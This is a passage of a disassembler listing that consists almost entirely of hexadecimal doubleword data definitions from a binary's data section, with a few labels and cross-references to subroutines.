43AD3FCh, 6792D168h dd 695B4DDAh, 1B4DE05Eh, 0C5B95F2Eh, 0E1CD0025h, 0C4D8F635h dd 0AFD56A2Ah, 0EC89BFB1h, 3FF1BC11h, 0F35109BDh, 81D64537h dd 14ED5E4Bh, 0DFAEA226h, 0A179B452h, 1C93A335h, 269DF6BBh dd 3AC445DDh, 0C2568596h, 793CAADCh, 0A7F2C9E5h, 74CDD89Dh dd 87D33F51h, 47B0CE2Dh, 0D2BB7602h, 0DB7B00F5h, 0FC6C0D76h dd 0F58DDFB6h, 11454F90h, 0E037139Fh, 0C71A6F14h, 0A3463289h dd 794F1CCFh, 0F3D27CF6h, 17E5BBCBh, 3E8A29CAh, 35A7E32Eh dd 765042FEh, 49AFF1F6h, 0A6191079h, 26F1685Ah, 0EB66D8C9h dd 9894FF44h, 0A5BEFA31h, 7E6EAE6Fh, 6FF1F447h, 86310C15h dd 0F24FDC96h, 53D5E058h, 0FD7F1AA2h, 197C323Bh, 0CA18E940h dd 8987BA3Bh, 97B5D025h, 55076A4Dh, 52690AEFh, 8F5AAE30h dd 9C5045F0h, 3A19993Dh, 4D91AB77h, 92A44A5Fh, 65281480h dd 0E2E33809h, 19CB202Dh, 848B1A31h, 0D4D7D36h, 96AD4Fh dd 589293E8h, 0D7A93E9Ch, 8D1BE531h, 0F598DC00h, 9C066E83h dd 7D490CFAh, 995BE2CAh, 0E612B96h, 4643841h, 9DE5B348h dd 0EB69F6AFh, 920DE346h, 5D4A1D39h, 0B36DA1DCh, 71D40D09h dd 1E5C74ECh, 553ADADCh, 0DE3A2580h, 0A76A917Eh, 43F355CFh dd 2EF0AB0h, 27CB88F9h, 0C8D47506h, 0D78C62A6h, 0A75D166Dh dd 0A4ADC8CAh, 19A8798Bh, 0A6FC7A2Bh, 7FA91213h, 0AE8FBA9Bh dd 331956A4h, 86535C09h, 0E051D74Dh, 738FEBC3h, 12B02B20h dd 0D8BF8BF6h, 0CDE46D7Ah, 4FB3C2DBh, 0B1084AAAh, 0D66A0601h dd 7F712FFFh, 0C6CF734Ch, 6009A42h, 0E03B305Eh, 2518B72Dh dd 0D2619B7Eh, 0F7BEDCD0h, 6B9A494Ch, 0D95EC212h, 2B0F582Eh dd 0ED3D9CDBh, 28507F9Ch, 5429DD73h, 3EFFE02Eh, 0DEEA7626h dd 47622A62h, 726FC8E5h, 70898977h, 233ED0D6h, 0EC90D6E3h dd 0BCD8E6C0h, 79D1FA63h, 37CD4911h, 61639E01h, 125597EFh dd 40C236BBh, 997B812Ah, 869CA295h, 51B4CA2h, 46392BAEh dd 1CFA9854h, 0E50E65A6h, 7D7E051Bh, 0B2A478BCh, 74FED46h dd 9398765Dh, 0FA7ECA5Fh, 2D86822Ch, 36E666AAh, 0B4FE589Fh dd 70B2D6Eh, 0EAEBF3D3h, 38146358h, 4EFEC698h, 94FDBD28h dd 90E0ED4h, 0D96F2192h, 59FD0D02h, 8DE8F3CAh, 28059D58h dd 0A374F6BFh, 0D5DA8D89h, 0FA37B9F3h, 3E8D7A74h, 9B238C3Ch dd 2EDB2478h, 1548B87Fh, 6DFAC02Ch, 0F0D7F74Dh, 2FDDDE7Dh dd 95702DC7h, 4F5D8D67h, 64DA0962h, 0D93FFD61h, 0B738118Dh dd 63121666h, 0DBEF4F65h, 8192B68Ah, 0EC586CB0h, 0DBADB6F6h dd 9B47054Dh, 25D0DCFFh, 0F2F36901h, 778FFEBDh, 0E3EC682Ah dd 821BFE81h, 0E094C367h, 932517D7h, 0BD7CAACBh, 6C53DF32h dd 0AC4B5E85h, 8CE68614h, 378812F7h, 0C58E861Ch, 854D62F1h dd 8D1C606Bh, 14E9A97Fh, 0FA6B77E1h, 31E0F774h, 477EF841h dd 742F1297h, 1E01E964h, 162B3E4Fh, 0A72ABFC7h, 0C85BA483h dd 354E26E0h, 0A71E8228h, 252E009Ch, 0CA23360Ch, 558727A1h dd 422274DEh, 8FDC3F74h, 0BAC482E0h, 0A43D4FDDh, 71933FAEh dd 14BD742Ch, 0E7006A24h, 456EABD2h, 79EAA986h, 586045CBh dd 4D67C059h, 0DB9807DFh, 0F4F2B6E9h, 42B4FC2Eh, 50DC85C1h dd 4E7F79CEh, 0EF0FE41h, 0A5AC263Dh, 7A50C1CCh, 0EB52A275h dd 0F3E4DC2Bh, 0FEDB07AAh, 0E76B961Ah, 6E1A5D57h, 0DE1D4AA8h dd 0D70833ECh, 0A89E628Dh, 9D469688h, 84D2B42Bh, 0CD8AD31Fh dd 8298390Ah, 0A4B8B618h, 1DFFECE8h, 0A71754C3h, 6ABBEE76h dd 0CCF958EDh, 5AF85A1Eh, 81A2BB4Dh, 2C228F54h, 0E8B53DEAh dd 3080BACAh, 0FC3DF906h, 69E23CFBh, 90B2EABDh, 0A49B250Dh dd 76A541C1h, 0C4E52A13h, 5ABB6048h, 0EAFD95D0h, 47842220h dd 732861Bh, 8F62181h, 0E4BA852Fh, 51D1722Ah, 9AFBD023h dd 8F58CB60h, 0C32B582Ah, 4703594Eh, 5087326Bh, 0B9F95AD4h dd 0B36FDF98h, 65AD631Ch, 0B02AC22Ah, 0F8F96A5Bh, 0FFBC9AB9h dd 73560A7Fh, 675323A1h, 7E21240Ah, 0B9CB5760h, 67C17244h dd 2DE5E5EFh, 9B15F644h, 450F6EA6h, 0A3420AFEh, 0AF81767Dh dd 54407DE6h, 0E6F392F4h, 37701C0Ch, 0BC031576h, 0FDDCE959h dd 667CFCB0h, 11970A3h, 37D9296Dh, 0E553259Eh, 2EBB9558h dd 122349DAh, 0D7E832B0h, 0AEBFBC7Bh, 4720387Ch, 1DEB7A0Fh dd 0EF244001h, 2A22BCBDh, 0A1C89A0Ch, 6FB31DA0h, 8BBC801h dd 2E6118A8h, 0F5948387h, 7BD4B50Bh, 0F3A3FD53h, 5E71AF6h dd 8D42FC0Ch, 48F1DB96h, 56E8F807h, 3EAB9302h, 4DC337D8h dd 0ADFC508Bh, 232DDCDAh, 6C09A1CEh, 7547F625h, 538F5041h dd 7E784E06h, 0FD852056h, 0F075F60h, 70320419h, 0A9A8BCE7h dd 0E4183AFCh, 0BB05C310h, 0FDC5A453h, 716BEA54h, 527A727Fh dd 79CE284Ah, 0D9305DDAh, 0E10BA6E0h, 6AB2EBD8h, 0FC94ED75h dd 62C59DECh, 0A1E0D0AEh, 6B4295D2h, 489BC5F9h, 0DEE98D40h dd 83692F8Bh, 0B70826A0h, 1A4DF22Fh, 0EC3631CDh, 0D84EF1F4h dd 5D589226h, 1FF5B8A8h, 1DCCD76h, 28672D57h, 0ADB618FAh dd 7EBFC0D3h, 0ED9E5098h, 1E42EC2Dh, 73742300h, 0F3636844h dd 9718AFB9h, 5444586Bh, 0B93A6180h, 25DED81Eh, 0B60C9944h dd 53802588h, 13E66435h, 0F547F0DAh, 0BAE28542h, 0B74A3EF3h dd 2760D43h, 89C88B76h, 9C5FC4DAh, 203CB3CBh, 0B6BA85CCh dd 76D30098h, 9A0F47AFh, 3AFF122h, 9F0B1AD5h, 15E92206h dd 189D4F55h, 0AE83ADF5h dd 0A7CADA2Bh, 3990C14Bh, 24C0A80Bh, 2D9640AFh, 0F4B06165h dd 77FC32BBh, 0DA446CB6h, 0EA66A282h, 0B1F67619h, 190E2D3Dh dd 53A0C86Ch, 26788F5h, 5D515895h, 0EA141A92h, 0C9D449CEh dd 6C548D14h, 42946396h, 980A77FBh, 897F7181h, 9B17470h dd 0BECAD477h, 391B85A6h, 327BA693h, 60CCACEEh, 7429629Fh dd 59817924h, 2F3DCFCEh, 7B7FC1A0h, 0EDF04719h, 42D8B7FAh dd 2DF8B2E1h, 74F245E5h, 31B84333h, 0F4075A67h, 19573A3Bh dd 0E1248FBEh, 60F7620h, 581DF116h, 9053B9E4h, 24940F18h dd 0EC80EF9Ah, 9BC0665Ah, 269192B8h, 0E65613E8h, 33AA2B3Eh dd 0B89832C9h, 0D096AA5Bh, 66D20C70h, 766779E3h, 9D8BF2D8h dd 6542B579h, 0AE9FBE50h, 72AFB5A0h, 9E697F0Dh, 0A67F84Eh dd 1253E051h, 85CEC5C6h, 4E2AB8C0h, 0EF45848Dh, 3365B17h dd 4973A8E1h, 0B3C7848h, 0E37F8911h, 0D2CAF09Dh, 0EB988A41h dd 0B5027D22h, 0CCEAD2C9h, 6376755Ch, 8F89F94Ch, 0C6D9116Ch dd 287B35C7h, 0EA7A1658h, 0D4676394h, 2CD8078Dh, 0D23F83Dh dd 4CBBBEE4h, 1D6D739Bh, 5C0D7688h, 0F9C28265h, 0A9EECCCAh dd 0D24A3AD8h, 0CA679156h, 4B33CE2Fh, 95050B36h, 3A3E3A16h dd 0B9C78872h, 0FDF7DBB4h, 0B6CA1450h, 40C1895h, 0D65BCAD0h dd 9A350B39h, 0C857FCA2h, 6C1E5DC2h, 667779A6h, 6EED55A9h dd 0CE04F9D6h, 9038095Eh, 5133968h, 0DEFAF1AEh, 0F5BEECAEh dd 67D752DFh, 3CBB8731h, 82EE93C9h, 4FCBBB9h, 5735224Bh dd 319759FAh, 0A97F7090h, 6DDD7BBDh, 0EB5290CBh, 0E678E6FEh dd 0EC220C9Ah, 0DAAB7F47h, 0E2040FBBh, 3DC036DCh, 5BAA6D4Fh dd 39416539h, 0A6EE17A6h, 0A860B336h, 6D52257Dh, 1E10CB49h dd 764B5527h, 76881C7Ah, 1017BB73h, 8A0400CFh, 793663C3h dd 371DF55Ah, 0E39270B6h, 0D9A74CF0h, 0B8873FA9h, 715A1230h dd 5EE3E2CCh, 0D39BFF88h, 201BEAA9h, 885631C9h, 7A517AC6h dd 823C7B96h, 2582D70Dh, 0B94C5EC9h, 0C29B8C58h, 41A70715h dd 0CDEB08F7h, 0E7DB0A74h, 400AE1Dh, 0E408ACE2h, 2000B5F7h dd 0F714C799h, 97DB662h, 0BFB0F371h, 0C3C68543h, 9CB9F7A6h dd 6D3A5BA0h, 66FF54h, 0D05F9C3Eh, 0CB27C8BFh, 331D39F1h dd 6ECEE3F9h, 0D4212326h, 0CFCE726Ah, 93DDA5EBh, 9BEEE6A0h dd 2C5CD20Eh, 32E85392h, 14BBFAAh, 0EE7FD469h, 62D73E7Ah dd 95EEB8FFh, 0D8729104h, 9CB76B78h, 0DDFAF4A3h, 9A2550CFh dd 0C891E159h, 8FD02B55h, 0D6ED7C81h, 0FF9743Bh, 2E4C8B96h dd 589039B5h, 579BA24Ch, 0D569B11Eh, 2761B2C0h, 0B9B6E342h dd 9877F06Bh, 73C6B477h, 2DB395BAh, 0B3735406h, 0BE91ED59h dd 0B6207EA1h, 0C5EF891Bh, 72C9EADAh, 72771E51h, 3EA656CFh dd 5CC6E1E8h, 72C3CA82h, 35854F4Dh, 17D757D2h, 4E346C57h dd 0CDA43D1Bh, 51925974h, 0EE967BAAh, 0B066B177h, 96BDD20h dd 89AD0E11h, 20E51E3Eh, 601E1729h, 21409A19h, 0D68ECDCAh dd 0EA69162h, 0A6F47791h, 0F7EC9E31h, 4D5300DEh, 66393845h dd 0DCB909AEh, 7E66F454h, 0BB2A893Dh, 0F719DB58h, 8DC466E4h dd 0DFE65EB1h, 0C6584D03h, 0D5E4325Fh, 555D810Ch, 5685F0C4h dd 0EB2E60D4h, 0D0302E95h, 0F8F95523h, 6160F642h, 3AE85CFDh dd 0C1C15683h, 0C77098BEh, 0FC5D159Eh, 0B646AB86h, 0E4275331h dd 0C4D062BCh, 47984E98h, 0C6CE702Bh, 0C4675C41h, 2B91297Ah dd 24DDFC73h, 0BCD10FF5h, 0CCC22575h, 0C0C5B713h, 0DBADA3A4h dd 0E0CBD7B9h, 8193F2CCh, 62E7DA24h, 0C825182Bh, 1708C5FAh dd 0AEF11CAFh, 10FF866h, 0BE88B854h, 813706E5h, 2341B217h dd 0A2193502h, 6E7F1683h, 6FEDA030h, 2311F28Bh, 0FE5A9117h dd 0AFC2AB25h, 6C803E29h, 0C84FB542h, 136EB35Eh, 97F7657Dh dd 0D8B7A24Bh, 0AF491891h, 0AE5F5597h, 0B7A73294h, 62C78472h dd 40160B18h, 0C4EF7DA9h, 1F3CA6E5h, 0B98DBD4Ch, 1B0EED88h dd 4C362AE6h, 7B4D51F5h, 0D8135DD0h, 140E47B4h, 83F6CD34h dd 96D3333Ch, 0F59A51E6h, 0BBBD8772h, 3DC8160h, 5354697Ch dd 83E4B077h, 6B8B19F3h, 0F81DD169h, 0BB1DED7Fh, 4E7163D2h dd 0EB484054h, 35303587h, 0AB30E6Bh, 4D73E6A3h, 397450EDh dd 9C3E067Ah, 0CA0BB594h, 1FBCEC8Eh, 0D41B081Dh, 8DA4CB81h dd 0CFA165C0h, 4506FDE1h, 67E22CBDh, 379CFB96h, 0C9EB0B2Fh dd 0C6B656Ch, 0F20F8266h, 0AEAC20E2h, 563F7547h, 0DAD78FC5h dd 2C2BBE20h, 511218BDh, 41E3268Ch, 7AFCEC00h, 94067F8Ah dd 3E48C12Eh, 9D1B8380h, 260CFD1h, 0F56CFE03h, 0E9C36968h dd 86F19EE3h, 0CB17166Eh, 14E963E8h, 19A99F63h, 412F75EAh dd 0E7F7C26Fh, 0BCF00387h, 0B8739458h, 114180C7h, 0C0405598h dd 0D4CF9702h, 80809A97h, 6D7F4406h, 0FFBA3C66h, 8DE45478h dd 55FB2F6Ah, 4717DEE3h, 3981A6E6h, 4A4D8BCCh, 0FAE151BDh dd 384DF6D1h, 5F73BC54h, 0F670BEFh, 0AC136F16h, 0E18330DAh dd 17D61105h, 69C782BBh, 3098E412h, 9933FEFAh, 242EFA4Bh dd 204510BBh, 76DC65E2h, 4D8BF0D2h, 0DD5F90F3h, 0CB4BCB9h dd 0BEF3868Eh, 929ABF42h, 788027A6h, 0C2288339h, 0F9E300CAh dd 4BCA7222h, 0D8D56B41h, 0E48F3503h, 0A4D4BACDh, 6B725A0h dd 7248392h, 0C4C27926h, 4EBC3807h, 0B6D4C72Bh, 0A03DD898h dd 0AB450F2Eh, 7BB16F2Bh, 6AD35172h, 3A73DD32h, 71D2152Eh dd 0CFF4D209h, 8A7861E8h, 0AA43334Eh, 2E2E6EBEh, 0D84589AFh dd 0FDA1EF9h, 65EDB8D1h, 2EAB6AA2h, 0C18E4256h, 0DFB53139h dd 8532E359h, 1AFD25BFh, 32DE076h, 89608267h, 0D56087D1h dd 0A48D2294h, 0E4DC82B9h, 373A796Eh, 0C52D0A48h, 381CB3Dh dd 23BCA0Ah, 0E8CF1271h, 398AC111h, 6E1F87E8h, 0C498B2B8h dd 9C38758Ch, 0E0458722h db 3Eh, 0C5h, 55h dword_3ECAD7 dd 2193860h ; .data:00417E0Br db 0FDh dd 9C68DCBAh dword_3ECAE0 dd 0F56CF05Ah ; sub_3E5151+3Dw ... dword_3ECAE4 dd 0C44357F6h dword_3ECAE8 dd 6826AC52h ; sub_3E51D6+Ew ... dword_3ECAEC dd 0C2D32D79h ; sub_3E51D6+16w ... dd 54AEFCAAh, 0FD795523h, 59D43069h, 9B3AF378h, 0FCDA18C4h dd 0F28FE22Dh, 2032DF17h, 64CD2C6Fh, 0F1F41FC9h, 0FB05B821h dd 7418F666h, 0CE53A0Ah, 208A323Eh, 0D8539454h, 43A3E319h dd 3D7F7346h, 42B77CFDh, 26AB4A06h, 93634126h, 8AE2AC24h dd 2A3A92AFh, 565CBD6Bh, 0B8761B46h, 147765BAh, 0CB8861CBh dd 0BB4481D6h, 378B3A27h, 0C2F69DD7h, 0E75F147Ch, 90037819h dd 205A56CCh, 0E56921DEh, 323FD682h, 6DF21BBEh, 0BE32451Eh dd 0C2DB5536h, 9BC35A91h, 8BD9A17Ch, 0F1567B62h, 0EDC82495h dd 6031E10Fh, 53DAE762h, 0E8B49951h, 8C4B7CD1h, 661686C4h dd 0DCB8FE81h, 0CEE366F0h, 131D3522h, 0EEE06071h, 0B781A947h dd 0A59C79D5h, 0A71A8B30h, 7FF71CC8h, 5EED9F63h, 63F2084Ch dd 72CCF009h, 446A72CDh, 926F26Ch, 4EC3A5E3h, 0E4D13898h dd 653F8035h, 0F5EBD3A1h, 0B1E83ED1h, 291207DEh, 26D5F718h dd 0F88E5E3h, 1FDE0CA2h, 0D2C5C2Ch, 6598F325h, 0C667218h dd 729AC3A2h, 2B2121A4h, 0EE93C8CBh, 0B235F13Fh, 0FDDFFA37h dd 0F8594E73h, 660C764Dh, 0F43DE08Bh, 5F04892Fh, 0D2E2BEEh dd 44A9E3h, 0BBFE6338h, 97CF240Bh, 0A12F43FCh, 0C3F40B17h dd 61A62476h, 0BF624161h, 0C645D805h, 0E7FB615h, 0D2CC72FBh dd 0E0A98780h, 67557DB3h, 426314E1h, 3A2748EEh, 0F699D48h dd 33EED5AAh, 5BC1CDCDh, 99F216A7h, 1F83191Dh, 4CDDD516h dd 0CA0832EAh, 88D854F6h, 2AA47AC0h, 64EFB1E2h, 0C6DA2101h dd 0F8C779ECh, 1B26CB1Bh, 67368F98h, 99B4D22h, 0DF6DD8Dh dd 5E83B01h, 0E1AF6D9Ch, 97121716h, 0B2A8EE5h, 78B72096h dd 60511FABh, 0F3904AAFh, 0D5EAF927h, 0B6CE3392h, 0DEED50D3h dd 0D45473D3h, 24B479BBh, 48BDA2CDh, 84F5FBB5h, 0B24AB14Ah dd 0C2548625h, 0ED95413Fh, 5E3D4DFh, 421407ECh, 0A8FC2235h dd 86A0D99Ah, 0BD9A849Bh, 0C80DA228h, 8CEA000Ah, 0BE7CFADFh dd 68DEB0A8h, 0E849BB86h, 24800E5Bh, 0B403C89Ch, 0AD76C8B5h dd 51075791h, 0B561C0D1h, 0AEC5E007h, 0E957DC8Dh, 0C01279D9h dd 0C834D760h, 0A8A48F84h, 0D9835AECh, 895862C0h, 1D5E74A1h dd 1CAAE91Dh, 10FB94A6h, 800B7385h, 0D319DEC8h, 0C2F6A51Ah dd 0D483EE0h, 66404AE8h, 67791D45h, 0F40559E4h, 710E2B9Bh dd 2675A72Dh, 0CB26DDFEh, 215612Dh, 1EF62EF6h, 0C476E015h dd 14D87DE7h, 487CC52Bh, 0B483CEEBh, 8E8F1714h, 83201E1h dd 8CFE7C67h, 56283272h, 353EBE17h, 0CBFDB7D9h, 0AA93743h dd 0FAE56A33h, 0CE7F75DDh, 0F2AA1D82h, 0E57BD83Fh, 3C7DC578h dd 3113DC7Ch, 74931DEEh, 777E3D0Eh, 32277DBCh, 0E88D26B4h dd 78C2163Ah, 0F68EA3E2h, 0FCBB4C67h, 61EBA5FBh, 78789DE7h dd 0FD64BAA3h, 3C6060FEh, 68453129h, 105CE430h, 0BFF2FCE6h dd 457F959Ch, 0D987CB8Ah, 0E7FD6C47h, 24B73B41h, 284F06BBh dd 0C17C86FCh, 0E2ECBD01h, 9CE66AECh, 26F9D304h, 3E47EC06h dd 71406D69h, 5B50C800h, 4CC4F8B0h, 887B19Ah, 0B7F8831Fh dd 3D4A754Dh, 61E7CC65h, 20715FC4h, 61713247h, 0A8215928h dd 1DADF2A9h, 0E7DAD48Dh, 0E2717E1Eh, 332D6906h, 76C306A7h dd 92447600h, 1ACEFB6Bh, 28872DB6h, 381238BFh, 0C2759548h dd 0AFA67AC5h, 9A3031C9h, 0A840054Ch, 803ACEA0h, 1652B8DEh dd 4AEA78DCh, 6F51B6Fh, 4D11EDFAh, 3512FF34h, 7270F85h dd 25BFD8F7h, 0C85E2E0Eh, 0B9FD25Fh, 77B672D7h, 0EE72F11Fh dd 0A852E56Fh, 53609141h, 61286953h, 1519A773h, 1F410DB6h dd 0BAEFAF13h, 0DFBF7B96h, 29B4A326h, 0D2D9A72Ch, 83A35C23h dd 10C0E944h, 0A0134EA9h, 0C79BC7B6h, 83ADC99Ch, 0A12DED7Eh dd 1C88C23Eh, 4A1121B3h, 3A72E912h, 30B869DEh, 52328FD8h dd 9AF32256h, 3434BCC4h, 52C368C2h, 38F4324h, 0F6508282h dd 63D20CF5h, 2D9CADEEh, 91FE5E96h, 3F32705Ch, 7696F17Ah dd 27083CBEh, 0BD176F45h, 0AEB26BA1h, 69C18696h, 21FFF83h dd 433E0DC5h, 0B2F958E8h, 0A387ED6Eh, 0ADCECD6Fh, 0CEC060D7h dd 75561FEDh, 0A5A4C3C5h, 4E12D317h, 66A5D82Bh, 0A83BE29Eh dd 45C6E295h, 2877E718h, 5D0A4DC6h, 1A8E5763h, 7115EB15h dd 684E0EFFh, 71159DA0h, 0B7EDFD4Fh, 4EA26D49h, 6BFAC886h dd 9B64C9B8h, 0EFEB8548h, 460EF94h, 0DB1DEBBBh, 9F0DFEEEh dd 582E5CC6h, 0BAA82135h, 0E620E268h, 78C04C70h, 0C06E89DCh dd 7892CD84h, 0C786DD5h, 425738E9h, 9419BF2Eh, 85F421D6h dd 0A4EA76EFh, 1E1EC7DBh, 8961E9A6h, 22622DBh, 0FB818DB8h dd 0FD249628h, 0BE82575Fh, 0C04F658Ch, 53A98686h, 0E41FA27Ch dd 62214139h, 0DA7DB7A8h, 0FC4F16F1h, 67F680A0h, 0D69216BAh dd 853783E2h, 0FAF18B55h, 538BA65h, 0FAF716CDh, 9364F269h dd 0F8995F6h, 0A0338AC4h, 0E1622696h, 0EE8806F2h, 3F314D26h dd 543FB43h, 9ACE793Eh, 0C840BBFh, 271A369Ah, 752486C6h dd 8E40A9E7h, 0F5B73BF2h, 0D85836D6h, 8E2023A7h, 0B4EF3755h dd 0E50047BCh, 0AC5038FCh, 0AB30C4AAh, 0F0577E06h, 0A2EC558h dd 9F60A799h, 0B4A7E1C9h, 0BE098EBFh, 7A7E1E35h, 0C1FF18Fh dd 0F63976ACh, 81861C4Ch, 34BC9C0Bh, 934EB294h, 0D6E92A0Ah dd 9767BBB2h, 45D0E82Bh, 7A8CE716h, 0C9BFECAAh, 2D3AF53Ah dd 0D27A866h, 0C91796FDh, 4F6A44FDh, 3FC3EFD8h, 0E9FB1923h dd 0B90B1Bh, 0DE62AD2h, 652B9215h, 9CA2D02Fh, 0B813FE54h dd 0B6F39A57h, 95DBCBE7h, 0E068154Fh, 0F1A4CC55h, 6AF0267Bh dd 4CD3EE63h, 6B74E35Ch, 28141AF1h, 92F2B92Ch, 0F9417F10h dd 959E08E1h, 0B6A38570h, 3B86514Eh, 94C22B99h, 57C7CE4Dh dd 71CDA46Dh, 8FE1F220h, 0E9E05DBEh, 19BB7DC3h, 19040F92h dd 0EFA584B5h, 115A81BBh, 4EA80224h, 0E3140D23h, 0EE505D1Ah dd 4E4413ABh, 0DA63A0BFh, 0DCB63FB4h, 0E017B10Fh, 1966724Ch dd 0E7968E85h, 6AB066FCh, 75C19F7Fh, 0ED473BA8h, 3FD49F49h dd 0ED5C2264h, 0E86BEF93h, 0C2BE2C29h, 4AE81BE6h, 210CCF88h dd 0F7083DE3h, 0C761D8C6h, 1C9F3F4Fh, 2C72C4C2h, 0E3257FC0h dd 4A1BC408h, 20BF43B2h, 32088560h, 53570A79h, 2772CFEBh dd 9D78D8A6h, 7C5118B4h, 0A210831Ch, 5E052E48h, 6BF834C5h dd 25875Ah, 6058EC71h, 0BADF305Ch, 698C4172h, 1FDC6D80h dd 4ED1084Eh, 533B7842h, 79CFB967h, 0BCECFF5Bh, 8AA7B6E8h dd 27C6F3AFh, 27C4574Bh, 0A5B55F33h, 0D9BACE1Bh, 9E72731Ah dd 459B0FE8h, 0F64347DBh, 1C5BDCCh, 2CB550FFh, 2C47B64Ah dd 56153CA4h, 87967B3Eh, 5F162A39h, 0E3D2039Bh, 0E30F79CEh dd 0C10945F6h, 142CE02Fh, 6B76862h, 0F6E5E72h, 0D1E37E71h dd 0DAA3B2DCh, 0FE641F47h, 0C23261A4h, 130BF306h, 0FDAEC34Bh dd 0EC62DB9Ch, 0E1F08996h, 0E72393FAh, 765A3BCBh, 8AC009FEh dd 0DA4B7E63h, 84D0755h, 0F7828DD1h, 82419A09h, 273062D0h dd 89243964h, 5A14C300h, 0EBB87BC7h, 1B4A62B7h, 4862B23Eh dd 90311B2Eh, 0D04C346h, 92F97D20h, 0F571FF67h, 72F884BAh dd 2B113C51h, 821A697Dh, 9B57DC3Dh, 0D1178DBEh, 5262720Bh dd 0CE3BFB71h, 0D0CB26ABh, 557411CEh, 41A3E274h, 355C8CDEh dd 0A50EF9C1h, 0CB9422BFh, 0C9FDFC66h, 33A047C7h, 9FDA2F99h dd 0E6BC5B3h, 0D6863597h, 21D80077h, 8B6132D8h, 7BD76797h dd 93CAC55Fh, 94D9992Ch, 1E65EC35h, 66EE51B0h, 93A3D119h dd 716606A5h, 728BBAB2h dd 3117549Eh, 0F1D97F45h, 59A4C77Fh, 0DB3730h, 52969434h dd 0BEC75C1Fh, 56836771h, 0AAEFA3E6h, 33B6B7D8h, 0F4C2A67Fh dd 8D5AE2E8h, 0BAAD4097h, 0CAB236D6h, 4BEBF738h, 487D6AD3h dd 4031A7F5h, 164CFDD0h, 2A7566DCh, 0FFCB013Ch, 31FB4FBEh dd 38DC558Eh, 9F8ECA9Dh, 4ABB8E9h, 106B5717h, 0A4FD2EB4h dd 8ECCF8D1h, 5F2FB14Bh, 3CAD7B65h, 17767BB3h, 0CC8853B4h dd 0CC7C9584h, 0DD057F39h, 5F258A60h, 0A63180E8h, 6E8DD79Ah dd 9A1C72EFh, 0D854493Dh, 0B9EA2346h, 61C20047h, 0BFD646h dd 0A69EB493h, 96C84491h, 9360316Ah, 0A784A5C9h, 0C9F368D2h dd 0B56FAAB2h, 8517D8F5h, 9A383EA5h, 7461303Eh, 6A106788h dd 65106F30h, 0E5F98E05h, 9D287DDAh, 96BCE8A3h, 78DF5AE4h dd 0F5CD0D25h, 12416896h, 9885ABB0h, 285AA598h, 0F1D91480h dd 0F0D4B50Bh, 0C3197805h, 854C44DCh, 0AABD1E4Eh, 9CC74F3Eh dd 5DFA92C8h, 1F5BD7A5h, 0C686CF0Ah, 853A26E6h, 0B0E05F83h dd 7610413Ch, 0DB809463h, 9D4D1A8Bh, 85DD06C6h, 73952DC9h dd 7BF29AEh, 0DD8194F8h, 3C40315Ch, 72664792h, 0F631CF03h dd 0FCB4BEF6h, 4429AEEh, 0F462CDBBh, 0D1BE04D0h, 9A60E73h dd 0F925CB36h, 0B0EC544Eh, 69B7D061h, 0D2781E7Ah, 0F82E5A4Dh dd 58D45B5Dh, 0EB7609E4h, 5829D00Bh, 0CA57F0FDh, 2F7C600Dh dd 3E198DCCh, 15D17214h, 9562B6F6h, 8419860Ch, 48478C6Fh dd 3FC63938h, 2DBEC3F1h, 0F761C78Dh, 495D3D05h, 0E7E72A8Bh dd 25323382h, 6CDC51B1h, 1F9EB50Eh, 0BFF7BF8Bh, 0B1AC152Ah dd 0BC10F1F0h, 0A5E2AA4Ah, 9E53DFAEh, 7F31DBAh, 70E1D221h dd 644579A8h, 506A45D1h, 3A68A888h, 407D5001h, 0E9D218D9h dd 1945D813h, 2AA230C6h, 78D5D78Dh, 44E10274h, 0B770DCB6h dd 0A0E77164h, 0D7F9B5CCh, 0DEDD419Bh, 0C3A9C197h, 0C7FB36EAh dd 6CB4F4DCh, 0EF5AB53Ah, 0C0C73BA6h, 9E90DD3Dh, 0AD63D6A5h dd 25F319D6h, 2DA4F495h, 5A0ACCDCh, 48E25A4Fh, 0E280AB3Fh dd 7394B428h, 0D9C9E2A6h, 363046B2h, 37A80549h, 8F52432Dh dd 14B5BF97h, 0B4985931h, 3572F799h, 4C5371EDh, 11D15D3h dd 0C97FE501h, 1A229E7Eh, 0D471D174h, 12E53254h, 0ABEB742Dh dd 90877550h, 99666BF8h, 0A2188272h, 0E22EE80Dh, 0F520040Ah dd 0FF60D8Dh, 2FE4914Dh, 77255F8Ah, 212D021Fh, 5724A2D0h dd 847E5205h, 5C18DE99h, 96F7FAC2h, 0DCA9ED69h, 22A4BAD6h dd 0A74F6698h, 0E53541B5h, 30C2DBDh, 0EC690B94h, 770C232Dh dd 6FF7C67Fh, 0FE59D72Bh, 53ACE7B4h, 85456D00h, 69E9BDEEh dd 0FBF6CCC5h, 2E68B55Dh, 83DCFFA0h, 0D40A39B6h, 0CCC883A4h dd 0CB56CC1Eh, 7145F9FBh, 89C1B56h, 0DA191AFDh, 0B450C1D9h dd 4E41F268h, 7E86DCD9h, 6CE1CBA2h, 0EAD05047h, 5567D4F0h dd 0F7A4AED4h, 107E3776h, 367FDBAFh, 674444Bh, 1D741CFBh dd 312622EBh, 99E8C41Eh, 4397B3B8h, 7023AF5Eh, 64460DDBh dd 0FF6B18E1h, 0EC6166ACh, 6D72F8BEh, 1561C6DBh, 7D44A779h dd 2BDC130Ch, 80B00C96h, 9A742A2Ah, 19CD753Ch, 84CF1E61h dd 33132FDAh, 0F2172332h, 660912E1h, 0C1F577FDh, 2D028854h dd 446E5718h, 0A67CBC4Fh, 5046205Bh, 0E0923647h, 219E66F0h dd 0E9B43197h, 52349C43h, 3A30FD5Ah, 2A612E5Fh, 2F5803C2h dd 0A28E2885h, 0D07732F4h, 87151738h, 3A1B85A8h, 611250C7h dd 7AF70083h, 0DCE4EE7h, 588E2AFAh, 7423CF04h, 57C16F13h dd 0EA8ECD5Fh, 0CA53C140h, 8670F557h, 0D7978019h, 0EE8E95CCh dd 0C4B558FCh, 12BC2FC8h, 488955FCh, 0BE456860h, 7CF794F3h dd 1CE7CEC7h, 0B4ABFF35h, 62869810h, 48473CB1h, 0FBA9C4E0h dd 0CD5CCD6Ah, 0AEF4C004h, 0F3E34E2h, 1280EA18h, 0FDB1C5E8h dd 0A8E3A296h, 5598C25Ah, 730824Ah, 674559B9h, 65E962D7h dd 0C891D96Ah, 568FBF6Eh, 0CF5F835Eh, 0AE27F8C5h, 0E786BA30h dd 4FC59C25h, 2F6CE64Fh, 7DDA8AF7h, 0D3FB93Dh, 1FEFBE61h dd 6984BDA1h, 0E2EC54E3h, 94283894h, 209D4D6Ah, 4A5CB29Ch dd 0B0F82785h, 